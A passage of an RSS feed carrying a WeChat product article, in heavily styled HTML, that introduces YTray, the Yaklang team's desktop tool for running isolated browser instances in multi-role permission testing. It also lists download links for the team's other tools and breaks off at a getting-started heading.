0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);"><div style="box-sizing: border-box;"><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Yakit官网下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;"><span textstyle="" style="font-size: 13px;">Github地址：</span></span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p></div></div><div style="max-width: 100%;box-sizing: border-box;"><p style="margin-top: 0px;line-height: 1.5em;max-width: 100%;box-sizing: border-box;"><span leaf="" style="box-sizing: border-box;">Yakit 视频教程：</span></p></div><div style="max-width: 100%;box-sizing: border-box;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box;overflow-wrap: break-word;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;overflow-wrap: break-word !important;"><em style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-style: italic;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">Memfit下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 13px;box-sizing: border-box;overflow-wrap: break-word !important;">YTray下载地址：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;overflow-wrap: break-word !important;"><a href="https://yaklang.io/ytray/" target="_blank">https://yaklang.io/ytray/</a></span></p></div></div></div></div></div></div></div></div></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;"><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046520" data-ratio="0.6018518518518519" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1994a1f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HmCsdPPCicUhkicOic7SAQjUL1Ry98xZRBhVzQoFykK2MicS3nIruTjicb0OTPdM6mRWX6mbygicknD9ic0qgf6jn9wQRJJtm68JK26c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div><div style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-remoteid="" data-asynid="" src="https://mmbiz.qpic.cn/sz_mmbiz_png/jibGAup6p72Etb7Iy9veQUCZLksmCYicEPUJLIZRzKUhMibZMwWxAZTia7g2quibFy5k2fK1vmG4erIxemicAvibHBjCVgsuBeia9N6tbmBBXDeSHMA/0?wx_fmt=png&amp;from=appmsg" data-src="" align="" alt="" border="" data-ratio="" data-s="300,640" data-type="png" data-w="300" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="100046518" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-retry="" data-ignore-width=""><div style="line-height: 0;max-width: 100%;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-s="300,640" data-type="gif" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="100046521" src="https://wechat2rss.xlab.app/img-proxy/?k=11e005ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FjibGAup6p72EuTsqnHJnqrK0ubBZpCFMuElDhXqrQgX2iaOu9w86JtDm47vA3LJvwzXgicqlE9o1xQna0ib5VyuFyuMz3z444h2eb3ldf7wEibiaY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cd6a52c7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530172%26idx%3D1%26sn%3Dac7ea0a574f18837ef5b1044933053f9">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 03 Sep 2026 18:27:00 +0800</pubDate>
    </item>
    <item>
      <title>YTray: 浏览器隔离与分身测试新神器</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530142&amp;idx=1&amp;sn=748ccd8d4e8f1b5a193a4b93b1fb2f3a</link>
      <description>助力多账号多权限与复杂测试环境浏览器隔离</description>
      <content:encoded><![CDATA[<p>原创 <span>Yakit</span> <span>2026-08-28 17:03</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=857a28fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72HbmgYgYg5G8vedjGF0AJdBbqOT0fZ9KaIYiaZQX0ghubFejqKo4NBCeDh7xvX4VgbnicJDwamno9U1fNm9afTSH5aqpVcic9TvtY%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>助力多账号多权限与复杂测试环境浏览器隔离</p>
  <h1 style="font-size: 20px;font-weight: 500;color: rgb(43, 119, 191);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;" data-pm-slice="0 0 []"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" style="margin-top: 17px;float: none;" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.406486006219458" data-s="300,640" data-type="png" data-w="2251" type="block" data-imgfileid="100041182" src="https://wechat2rss.xlab.app/img-proxy/?k=988c1871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZdUYXaiccQFYhEArmU3f9ef0VNmBjcyLt7PUV08libAc8EmnhuFSzlnIiaJThN911S7468pdssPD8hgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">做多角色权限测试时，你可能同时需要管理员、普通用户和访客账号；做研发联调时，又要频繁切换代理、浏览器版本和本地插件。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">反复退出登录、开无痕窗口、手动维护多个 Chrome Profile，不仅麻烦，也很容易混淆测试环境。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">YTray是万径安全旗下Yaklang团队开发的一款面向安全测试与研发联调的原生桌面应用。它可以为每项任务创建独立、可恢复的本地浏览器实例，把账号、代理、插件、浏览器版本和调试端口放在一起管理。</span></span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtcgibm51srz" data-pm-slice="0 0 []"><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100046480" data-ratio="0.6259259259259259" data-s="300,640" type="block" data-type="png" data-w="1080" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe4972d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EbeqhysAGUlDQ9zxH4xjicSJiaVY4IvB3GgteRvDianvBMvk3r9BiaTo56FjlHeResHk1gkabN0CEnZ9JdFW8WvRiavsAO45oZSsRQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-nest-level="2" data-pm-slice="6 4 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;"><span textstyle="" style="font-size: 18px;">一、</span><span textstyle="" style="font-size: 18px;letter-spacing: 1px;">一个实例，一套独立浏览器环境</span></span></strong></p></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">每个 YTray 实例都有独立的用户目录，Cookie、Local Storage、缓存、插件数据和登录状态互不影响。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">例如，可以同时保留：</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">A：管理员账号 + 直连网络</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">B：普通用户账号 + HTTP 代理</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">C：访客账号 + 指定版本 Chrome for Testing</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">macOS Dock 和 Windows 任务栏会使用 A、B、C 角标区分实例，不用再逐个切换窗口确认身份。</span></span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtcglrpq1i9j" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34375" data-s="300,640" data-type="png" data-w="128" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046482" src="https://wechat2rss.xlab.app/img-proxy/?k=38d3ad0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FIANJs7Kq2PGQ4kHwBicn1Mz82CyDI8ZuW7e7A9icSOYcHMFoJXbqiaa60k2qgiaIuJINwdP4y2T2lFacDicN7IquPGjalE57MUO28%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;text-align: justify;font-size: 18px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-weight: bold;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 18px;">二、YTray 能做什么？</span></span></h2><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mt9iux4vvxu" style="font-size: 16px;" data-mpa-action-id="mt9iux52f0w" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-layout-id&#34;:&#34;8&#34;,&#34;style&#34;:&#34;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);margin-bottom: 24px;line-height: 2.0;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">身份隔离：</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">不同账号可以同时登录同一系统，适合多角色权限测试、多租户联调和长期任务。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">浏览器与网络配置：</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">YTray 会自动识别本机 Chrome、Edge 和 Chromium，也可以安装指定版本的 Chrome for Testing。启动时可以明确选择直连或 HTTP 代理，避免网络路径含糊。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">本地插件与调试：</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">启用本地插件后，新实例会自动加载。正式安装包还内置了 Yakit Browser Agent。每个实例会分配独立调试端口，并且只绑定 127.0.0.1。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 16px;"><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">运行管理与历史恢复：</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">YTray 会记录页面标题、地址、缩略图、PID 和调试端口。实例停止后，用户目录和登录状态仍会保留，之后可以从历史中继续恢复。</span></span></p><h2 style="color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;text-align: justify;font-size: 18px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-weight: bold;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 18px;">三、四步开始使用</span></span></h2><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 